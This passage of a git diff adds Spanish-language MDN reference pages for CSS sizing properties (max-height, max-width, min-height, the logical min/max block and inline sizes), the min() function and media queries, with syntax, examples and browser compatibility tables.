+ <li>{{ Cssxref("computed value", "Valor calculado") }}:</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">max-height: &lt;length&gt; | &lt;percentage&gt;
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<ul>
+ <li><strong>none</strong> : la {{ Cssxref("height", "altura") }} no tiene valor máxima.</li>
+ <li><strong>length</strong> : puede ser en px, cm, in (píxel, centímetro o inches)</li>
+ <li><strong>percentage</strong> : % especificado como un porcentaje de la altura del bloque contenedor.</li>
+</ul>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval">table { max-width: 75%; }
+
+form { max-width: none; }
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>{{ Cssxref("max-height") }} sobrescribe {{ Cssxref("height") }}, pero <strong>no</strong> {{ Cssxref("min-height") }}.</p>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS2/visudet.html#min-max-heights">CSS 2.1</a></li>
+</ul>
+
+<h3 id="Compatibilidades" name="Compatibilidades">Compatibilidades</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("Modelo de caja", "modelo de caja") }}, {{ Cssxref("width", "ancho") }}, {{ Cssxref("-moz-box-sizing", "tamaño de cajas -Mozilla") }}, {{ Cssxref("min-height", "altura mínima") }}, {{ Cssxref("max-height", "altura máxima") }}</p>
+
+<p> </p>
+
+<div class="noinclude">
+<p><span class="comment">Categorías</span></p>
+
+<p><span class="comment">Interwiki Languages</span></p>
+
+<div class="noinclude"> </div>
+</div>
+
+<p>{{ languages( { "en": "en/CSS/max-height", "fr": "fr/CSS/max-height" } ) }}</p>
diff --git a/files/es/web/css/max-inline-size/index.html b/files/es/web/css/max-inline-size/index.html
new file mode 100644
index 0000000000..b5406c7dc6
--- /dev/null
+++ b/files/es/web/css/max-inline-size/index.html
@@ -0,0 +1,94 @@
+---
+title: max-inline-size
+slug: Web/CSS/max-inline-size
+translation_of: Web/CSS/max-inline-size
+---
+<p>{{CSSRef}}{{SeeCompatTable}} </p>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS">CSS</a>  <strong><code>max-inline-size</code></strong> define el tamaño máximo horizontal o vertical de un elemento bloque dependiendo del modo de escritura. Esto corresponde a las propiedades {{cssxref("max-width")}} o {{cssxref("max-height")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}. Si el modo de escritura esta orientado verticalmente, el valor de <code>max-inline-size</code> relacionado al alto máximo del elemento, de lo contrario, se relaciona con el ancho máximo del elemento. Se relaciona con {{cssxref("max-block-size")}}, que define la otra dimensión del elemento.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/max-inline-size.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+max-inline-size: 300px;
+max-inline-size: 25em;
+
+/* &lt;percentage&gt; values */
+max-inline-size: 75%;
+
+/* Keyword values */
+max-inline-size: none;
+max-inline-size: max-content;
+max-inline-size: min-content;
+max-inline-size: fit-content;
+max-inline-size: fill-available;
+
+/* Global values */
+max-inline-size: inherit;
+max-inline-size: initial;
+max-inline-size: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>max-inline-size</code> toma los mismos valores como las propiedades {{cssxref("max-width")}} y {{cssxref("max-height")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML </h3>
+
+<pre class="brush: html">&lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS </h3>
+
+<pre class="brush: css">.exampleText {
+  writing-mode: vertical-rl;
+  background-color: yellow;
+  block-size: 100%;
+  max-inline-size: 200px;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo")}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-max-inline-size", "max-inline-size")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.max-inline-size")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{cssxref("max-width")}} y {{cssxref("max-height")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
diff --git a/files/es/web/css/max-width/index.html b/files/es/web/css/max-width/index.html
new file mode 100644
index 0000000000..55fa03d4ee
--- /dev/null
+++ b/files/es/web/css/max-width/index.html
@@ -0,0 +1,158 @@
+---
+title: max-width
+slug: Web/CSS/max-width
+tags:
+  - Referencia_CSS
+translation_of: Web/CSS/max-width
+---
+<div>{{CSSRef}}</div>
+
+<p>The <strong><code>max-width</code></strong> <a href="/en-US/docs/CSS">CSS</a> property sets the maximum width of an element. It prevents the <a href="/en-US/docs/Web/CSS/used_value">used value</a> of the {{ Cssxref("width") }} property from becoming larger than the value specified by <code>max-width</code>.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; value */
+max-width: 3.5em;
+
+/* &lt;percentage&gt; value */
+max-width: 75%;
+
+/* Keyword values */
+max-width: none;
+max-width: max-content;
+max-width: min-content;
+max-width: fit-content;
+max-width: fill-available;
+
+/* Global values */
+max-width: inherit;
+max-width: initial;
+max-width: unset;
+</pre>
+
+<p>{{ Cssxref("max-width") }} overrides {{cssxref("width")}}, but {{ Cssxref("min-width") }} overrides {{ Cssxref("max-width") }}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>The maximum width, expressed as a {{cssxref("&lt;length&gt;")}}.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>The maximum width, expressed as a {{cssxref("&lt;percentage&gt;")}} of the containing block's width.</dd>
+</dl>
+
+<h4 id="Keyword_values">Keyword values</h4>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>The width has no maximum value.</dd>
+ <dt><code>max-content</code>{{experimental_inline()}}</dt>
+ <dd>The intrinsic preferred width.</dd>
+ <dt><code>min-content</code>{{experimental_inline()}}</dt>
+ <dd>The intrinsic minimum width.</dd>
+ <dt><code>fill-available</code>{{experimental_inline()}}</dt>
+ <dd>The containing block's width minus the horizontal margin, border, and padding. (Note that some browsers implement an ancient name for this keyword, <code>available</code>.)</dd>
+ <dt><code>fit-content</code>{{experimental_inline()}}</dt>
+ <dd>The same as <code>max-content.</code></dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In this example, the "child" will be either 150 pixels wide or the width of the "parent," whichever is smaller:</p>
+
+<div id="basic-max-width-demo">
+<pre class="brush: html">&lt;div id="parent"&gt;
+  &lt;div id="child"&gt;
+    Fusce pulvinar vestibulum eros, sed luctus ex lobortis quis.
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">#parent {
+  background: lightblue;
+  width: 300px;
+}
+
+#child {
+  background: gold;
+  width: 100%;
+  max-width: 150px;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("basic-max-width-demo", 350, 100)}}</p>
+
+<p>The <code>fit-content</code> value can be used to set the width of an element based on the intrinsic size required by its content:</p>
+
+<div id="fit-content-demo">
+<pre class="brush: html" style="display: none;">&lt;div id="parent"&gt;
+    &lt;div id="child"&gt;
+        Child Text
+    &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">#parent {
+  background: lightblue;
+  width: 300px;
+}
+
+#child  {
+  background: gold;
+  width: 100%;
+  max-width: -moz-fit-content;
+  max-width: -webkit-fit-content;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("fit-content-demo", 400, 100)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'max-width') }}</td>
+   <td>{{ Spec2('CSS3 Sizing') }}</td>
+   <td>Adds the <code>max-content</code>, <code>min-content</code>, <code>fit-content</code>, and <code>fill-available</code> keywords.<em> </em>(Both CSS3 Box and CSS3 Writing Modes drafts used to define these keywords, but are superseded by this spec.<em>)</em></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'max-width') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Defines <code>max-width</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visudet.html#min-max-widths', 'max-width') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.max-width")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ Cssxref("width") }}, {{ Cssxref("min-width") }}, {{ Cssxref("max-height") }}</li>
+ <li><a href="/en/CSS/box_model" title="en/CSS/box_model">The box model</a>, {{ Cssxref("box-sizing") }}</li>
+</ul>
diff --git a/files/es/web/css/media_queries/index.html b/files/es/web/css/media_queries/index.html
new file mode 100644
index 0000000000..630dc94b9c
--- /dev/null
+++ b/files/es/web/css/media_queries/index.html
@@ -0,0 +1,107 @@
+---
+title: Media queries
+slug: Web/CSS/Media_Queries
+translation_of: Web/CSS/Media_Queries
+---
+<div>{{CSSRef}}</div>
+
+<p>Las <strong>consultas de medios</strong> le permiten adaptar su sitio o aplicación dependiendo de la presencia o el valor de varias características y parámetros del dispositivo.</p>
+
+<p>Son un componente clave del <a href="https://developer.mozilla.org/en-US/docs/Web/Apps/Progressive/Responsive">responsive design</a>. Por ejemplo, una consulta de medios puede reducir el tamaño de la fuente en dispositivos pequeños, aumentar el relleno entre párrafos cuando se ve una página en modo vertical, o aumentar el tamaño de los botones en las pantallas táctiles.</p>
+
+<p>En <a href="https://developer.mozilla.org/en-US/docs/Web/CSS">CSS</a>, use la {{cssxref ("@ media")}} <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/At-rule">at-rule</a> para aplicar condicionalmente parte de una hoja de estilo en función del resultado de una consulta de medios. Use {{cssxref ("@ import")}} para aplicar condicionalmente una hoja de estilo completa.</p>
+
+<p> </p>
+
+<h3 id="Consultas_de_medios_en_HTML">Consultas de medios en HTML</h3>
+
+<p>En <a href="https://developer.mozilla.org/en-US/docs/Web/HTML">HTML</a>, las consultas de medios se pueden aplicar a varios elementos:</p>
+
+<p>     En el atributo {{HTMLElement ("link")}} {{htmlattrxref ("media", "link")}} del elemento, definen los medios a los que se debe aplicar un recurso vinculado (normalmente CSS).<br>
+      En el atributo {{HTMLElement ("source")}} {{htmlattrxref ("media", "source")}} del elemento, definen los medios a los que se debe aplicar esa fuente. (Esto solo es válido dentro de los elementos {{HTMLElement ("picture")}}.)<br>
+      En el atributo {{HTMLElement ("style")}} del elemento {{htmlattrxref ("media", "style")}}, definen los medios a los que se debe aplicar el estilo.</p>
+
+<p> </p>
+
+<h3 id="Consultas_de_medios_en_JavaScript">Consultas de medios en JavaScript</h3>
+
+<p> </p>
+
+<p>En <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript">JavaScript </a>puede usar el método {{domxref ("Window.matchMedia ()")}} para probar la ventana contra una consulta de medios. También puede usar {{domxref ("MediaQueryList.addListener ()")}} para recibir notificaciones cada vez que cambie el estado de una consulta. Con esta funcionalidad, su sitio o aplicación puede responder a los cambios en la configuración, orientación o estado del dispositivo.</p>
+
+<p>Puede obtener más información sobre el uso programático de consultas de medios en <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Testing_media_queries">Pruebas de consultas de medios.</a></p>
+
+<h2 id="Referencias">Referencias</h2>
+
+<h3 id="At-rules">At-rules</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@import")}}</li>
+ <li>{{cssxref("@media")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">Usando consultas de medios</a></dt>
+ <dd>Presenta las consultas de los medios, su sintaxis y los operadores y las funciones de los medios que se utilizan para construir expresiones de consulta de los medios.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Media_Queries/Testing_media_queries">Probando las consultas de medios programáticamente</a></dt>
+ <dd>Describe cómo usar las consultas de medios en su código de JavaScript para determinar el estado de un dispositivo, y para configurar escuchas que notifican su código cuando cambian los resultados de las consultas de medios (como cuando el usuario gira la pantalla o cambia el tamaño del navegador).</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Media_Queries/Using_Media_Queries_for_Accessibility">Usando consultas de medios en accesibilidad</a></dt>
+ <dd>Conozca cómo Media Queries puede ayudar a los usuarios a comprender mejor su sitio web.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS5 Media Queries')}}</td>
+   <td>{{Spec2('CSS5 Media Queries')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'media.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidades_con_navegadores">Compatibilidades con navegadores</h2>
+
+<h3 id="media_rule">@media rule</h3>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, visite <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data </a>y envíenos una solicitud de extracción.</div>
+
+<p>{{Compat("css.at-rules.media")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Use {{cssxref ("@ apoya")}} para aplicar estilos que dependen del soporte del navegador para varias tecnologías CSS.</li>
+</ul>
diff --git a/files/es/web/css/min()/index.html b/files/es/web/css/min()/index.html
new file mode 100644
index 0000000000..52f81e5765
--- /dev/null
+++ b/files/es/web/css/min()/index.html
@@ -0,0 +1,120 @@
+---
+title: min()
+slug: Web/CSS/min()
+tags:
+  - CSS
+  - CSS Function
+  - CSS Grid
+  - Calculate
+  - Compute
+  - Function
+  - Layout
+  - Reference
+  - min
+translation_of: Web/CSS/min()
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/en-US/docs/Web/CSS/CSS_Functionals">función</a> <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>min()</code></strong> permite establecer el valor mas pequeño (mas negativo) de una lista de expresiones separadas por coma como el valor de una propiedad CSS. La función <code>min()</code> puede ser usada donde quiera que  {{CSSxRef("&lt;length&gt;")}}, {{CSSxRef("&lt;frequency&gt;")}}, {{CSSxRef("&lt;angle&gt;")}}, {{CSSxRef("&lt;time&gt;")}}, {{CSSxRef("&lt;percentage&gt;")}}, {{CSSxRef("&lt;number&gt;")}}, o {{CSSxRef("&lt;integer&gt;")}} esté permitido.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-min.html")}}</div>
+
+
+
+<p>En el primer ejemplo anterior, el ancho será al menos 200px, pero será menor si el viewport es menor de 400px de ancho (en tal caso 1vw sería 4px, así 50vw sería 200px). En otras palabras, el ancho máximo es 200px. Piensa en el valor de  <code>min()</code> como el máximo valor que una propiedad puede tener.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La funcion <code>min()</code> toma uno o mas expresiones separadas por coma como sus parametros, y usa el valor mas pequeño de esas expresiones como su valor.</p>
+
+<p>Las expresiones pueden ser expresiones matemáticas (usando operadores aritmeticos), valores literales, u otras expresiones, tales como {{CSSxRef("attr", "attr()")}}, que se evaluan a un tipo de argumento válido (like {{CSSxRef("&lt;length&gt;")}}).</p>
+
+<p>Se pueden usar distintas unidades de medida para cada valor en la expresion, si se desea. Tambien puede usar parentesis para establecer orden de percedencia si lo requiere.</p>
+
+<ul>
+ <li>Expresiones matematicas que involucran porcentajes para los anchos y altos en columnas de tabla, grupos de columnas de tabla, filas de tablas, y celdas de tablas en ambos layout fijo y tablas pueden ser tratados como si se hubiera especificado <code>auto</code></li>
+ <li>Es permitido anidar  <code>max()</code> y otros funciones <code>min()</code> como valores de expresiones. Las expresiones son completamente matematicas asi que puede usarse adicion directa, resta, multiplicacion y division sin usar la funcion <code>calc()</code> en si.</li>
+ <li>La expresion pueden ser valores combinando los operadores de adicion ( + ), resta ( - ), multiplicacion ( * ) y division ( / ) , aplicando las reglas estandares de precedencia de operadores. Asegurese de poner un espacio en cada lado de los operandos de + y -. Los oprandos en la expresion pueden ser cualquier valor de sintaxis <code>&lt;length&gt;</code>.</li>
+ <li>Usted puede (y con frecuencia necesitara) combinar los valores  <code>min()</code> y <code>max()</code>, o usar <code>min()</code> dentro de las funciones  <code>clamp()</code> o <code>calc()</code>.</li>
+ <li>Usted puede proveer mas de 2 argumentos, si tiene multiples restricciones para aplicar.</li>
+</ul>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Probemas_de_accesibilidad">Probemas de accesibilidad</h2>
+
+<p>Cuando use <code>min()</code> para establecer el maximo valor de fonr size, asegurese de que la fuente todavia podra ser escalada por lo menos al 200% para mas legibilidad (sin tecnologia asistente como la funcion de zoom).</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html">Understanding Success Criterion 1.4.4 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Setting_a_maximum_size_for_a_label_and_input">Setting a maximum size for a label and input</h3>
+
+<p>Otro caso de uso para las funciones CSS es establecer la maxima longitud en controles enformularios responsive: habilitando el ancho de los labels y los inputs para encogerse como lo hace el ancho del formulario</p>
+
+<p>Veamos algo de CSS:</p>
+
+<pre class="brush: css; notranslate">input, label {
+  padding: 2px;
+  box-sizing: border-box;
+  display: inline-block;
+  width: min(40%, 400px);
+  background-color: pink;
+}
+
+form {
+  margin: 4px;
+  border: 1px solid black;
+  padding: 4px;
+}
+</pre>
+
+<p>Aquí, el formulario en si mismo, junto con el margen, borde y padding, será de 100% del ancho de su padre. Declaramos el input y el label para que sean menores ente el 40% del ancho del formulario hasta el padding o de 400px, el que sea menor. En otras palabras, lo mas ancho que el label y el input pueden ser es de 400px. Lo mas estrecho que serán es 40% del ancho del formulario, el cual en pantallas de relojes inteligentes es muy pequeño.</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;label&gt;Escribe algo:&lt;/label&gt;
+  &lt;input type="text"&gt;
+&lt;/form&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Setting_a_maximum_size_for_a_label_and_input", "100%", "110")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Values", "#calc-notation", "min()")}}</td>
+   <td>{{Spec2("CSS4 Values")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("css.types.min")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{CSSxRef("calc", "calc()")}}</li>
+ <li>{{CSSxRef("clamp", "clamp()")}}</li>
+ <li>{{CSSxRef("max", "max()")}}</li>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Values_and_units">CSS Values</a></li>
+</ul>
diff --git a/files/es/web/css/min-block-size/index.html b/files/es/web/css/min-block-size/index.html
new file mode 100644
index 0000000000..91847cba2d
--- /dev/null
+++ b/files/es/web/css/min-block-size/index.html
@@ -0,0 +1,94 @@
+---
+title: min-block-size
+slug: Web/CSS/min-block-size
+translation_of: Web/CSS/min-block-size
+---
+<div>{{CSSRef}}{{SeeCompatTable}} </div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS">CSS</a>  <strong><code>min-block-size</code></strong> define el tamaño mínimo horizontal o vertical de un elemento de bloque, dependiendo de los modos de escritura. Esto corresponde ya sea a la propiedad {{cssxref("min-width")}} o a la propiedad {{cssxref("min-height")}}, dependiendo del valor de {{cssxref("writing-mode")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/min-block-size.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+min-block-size: 100px;
+min-block-size: 5em;
+
+/* &lt;percentage&gt; values */
+min-block-size: 10%;
+
+/* Keyword values */
+min-block-size: max-content;
+min-block-size: min-content;
+min-block-size: fit-content;
+min-block-size: fill-available;
+
+/* Global values */
+min-block-size: inherit;
+min-block-size: initial;
+min-block-size: unset;
+</pre>
+
+<p>Si el modo de escritura es verticalmente orientado, el valor de <code>min-block-size</code> se relaciona con el mínimo ancho del elemento; de otra manera, se relaciona al mínimo alto del elemento. Una propiedad relacionada es {{cssxref("min-inline-size")}}, que define la otra dimensión del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>min-block-size</code> toma los mismos valores de las propiedades {{cssxref("min-width")}} y {{cssxref("min-height")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML </h3>
+
+<pre class="brush: html">&lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS </h3>
+
+<pre class="brush: css">.exampleText {
+  writing-mode: vertical-rl;
+  background-color: yellow;
+  min-block-size: 200px;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo")}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-min-block-size", "min-block-size")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.min-block-size")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{cssxref("min-width")}} y {{cssxref("min-height")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
diff --git a/files/es/web/css/min-height/index.html b/files/es/web/css/min-height/index.html
new file mode 100644
index 0000000000..d61f0edf4e
--- /dev/null
+++ b/files/es/web/css/min-height/index.html
@@ -0,0 +1,72 @@
+---
+title: min-height
+slug: Web/CSS/min-height
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/min-height
+---
+<div>{{CSSRef}}</div>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>La propiedad <code>min-height</code> se utiliza para definir la altura mínima de un elemento dado. Impide que el valor de la propiedad {{ Cssxref("height") }} llegue a ser más pequeña que la especificada en la altura mínima (<code>min-height</code>).</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h3 id="Values" name="Values">Values</h3>
+
+<ul>
+ <li><strong>length</strong> : puede ser en px, cm, in (píxel, centímetro o inches)</li>
+ <li><strong>percentage</strong> : % especificado como un porcentaje de la altura del bloque contenedor.</li>
+</ul>
+
+<h3 id="Examples" name="Examples">Examples</h3>
+
+<pre>table {min-height: 75%;}
+
+form {min-height: 0;}
+</pre>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<p>{{ Cssxref("min-height") }} tiene prioridad sobre los valores {{ Cssxref("max-height") }} y {{ Cssxref("height") }}.</p>
+
+<h3 id="Esdpecificaciones" name="Esdpecificaciones">Esdpecificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS2/visudet.html#min-max-heights">CSS 2.1</a></li>
+</ul>
+
+<h3 id="Compatibilidades" name="Compatibilidades">Compatibilidades</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("Modelo de caja", "modelo de caja") }}, {{ Cssxref("width", "ancho") }}, {{ Cssxref("-moz-box-sizing", "tamaño de cajas -Mozilla") }}, {{ Cssxref("min-height", "altura mínima") }}, {{ Cssxref("max-height", "altura máxima") }}</p>
diff --git a/files/es/web/css/min-inline-size/index.html b/files/es/web/css/min-inline-size/index.html
new file mode 100644
index 0000000000..bf650c31a7
--- /dev/null
+++ b/files/es/web/css/min-inline-size/index.html
@@ -0,0 +1,95 @@
+---
+title: min-inline-size
+slug: Web/CSS/min-inline-size
+translation_of: Web/CSS/min-inline-size
+---
+<div>{{CSSRef}}{{SeeCompatTable}} </div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS">CSS</a>  <strong><code>min-inline-size</code></strong> define el tamaño mínimo horizontal o vertical de los elementos en bloque, dependiendo del modo de escritura. Esto corresponde ya sea a la propiedad {{cssxref("min-width")}} o la propiedad {{cssxref("min-height")}}, dependiendo del valor de {{cssxref("writing-mode")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/min-inline-size.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+min-inline-size: 100px;
+min-inline-size: 5em;
+
+/* &lt;percentage&gt; values */
+min-inline-size: 10%;
+
+/* Keyword values */
+min-inline-size: max-content;
+min-inline-size: min-content;
+min-inline-size: fit-content;
+min-inline-size: fill-available;
+
+/* Global values */
+min-inline-size: inherit;
+min-inline-size: initial;
+min-inline-size: unset;
+</pre>
+
+<p>Si el modo de escritura es verticalmente orientado, el valor de  <code>min-inline-size</code> se relaciona con el mínimo alto del elemento; de otra manera, se relaciona al mínimo ancho del elemento. Una propiedad relacionada es {{cssxref("min-block-size")}}, que define la otra dimensión del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>min-inline-size</code> toma los mismos valores de las propiedades {{cssxref("min-width")}} y {{cssxref("min-height")}}.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
